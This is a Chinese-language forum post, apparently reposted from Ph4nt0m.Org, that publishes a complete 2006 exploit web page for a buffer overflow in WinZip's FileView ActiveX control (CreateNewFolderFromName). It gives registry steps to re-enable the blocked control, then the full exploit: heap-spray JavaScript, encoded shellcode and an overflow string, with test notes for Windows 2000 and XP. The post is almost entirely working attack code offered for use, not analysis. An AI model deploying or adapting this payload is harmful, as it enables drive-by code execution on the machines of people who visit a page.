信息来源: Ph4nt0m.Org
之前看到过一个FileView ActiveX控件溢出的,不过不是这个函数,网上公布的溢出代码也不是很好用,
这个是CreateNewFolderFromName函数溢出的,不过由于前面一个漏洞的问题,微软似乎禁用了这个控件,
测试时可以删除
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{A09AE68F-B14D-43ED-B713
-BA413F034904}]
"Compatibility Flags"=dword:00000400
元旦快乐!
Code:
body>
html>
<head>
<object classid="clsid:{A09AE68F-B14D-43ED-B713-BA413F034904}" id="winzip">
object>
head>
<body>
<SCRIPT language="javascript">
/*
---===[ winzip-exploit.html
XiaoHui : 76693223[at]163.com
HomePage: www.nipc.org.cn
(c) 2006 All rights reserved.
note:Because of the prior vuln in FileView ActiveX Control,Micorsoft has disabled this ActiveX Controls,
To test this vuln,You can delete the key:
[HKEY_LOCAL_MACHINESOFTWAREMicrosoftInternet ExplorerActiveX Compatibility{A09AE68F-B14D-43ED-B713
-BA413F034904}]
"Compatibility Flags"=dword:00000400
I have test the exploit on Windows 2000+sp4(CN) and Windows xp+sp2(CN) and Winzip 10.0(6667),you can try
other version,goodluck~
]===---
*/
var heapSprayToAddress = 0x0d0d0d0d;
var payLoadCode = unescape("%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%
u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%
u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%
u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063");
var heapBlockSize = 0x400000;
var payLoadSize = payLoadCode.length * 2;
var spraySlideSize = heapBlockSize - (payLoadSize+0x38);
var spraySlide = unescape("%u9090%u9090");
spraySlide = getSpraySlide(spraySlide,spraySlideSize);
heapBlocks = (heapSprayToAddress - 0x400000)/heapBlockSize;
memory = new Array();
for (i=0;i<heapBlocks;i++)
{
memory[i] = spraySlide + payLoadCode;
}
var xh = 'A';
while (xh.length < 231) xh+='A';
xh+="x0dx0dx0dx0d";
winzip.CreateNewFolderFromName(xh);
function getSpraySlide(spraySlide, spraySlideSize)
{
while (spraySlide.length*2<spraySlideSize)
{
spraySlide += spraySlide;
}
spraySlide = spraySlide.substring(0,spraySlideSize/2);
return spraySlide;
}
|
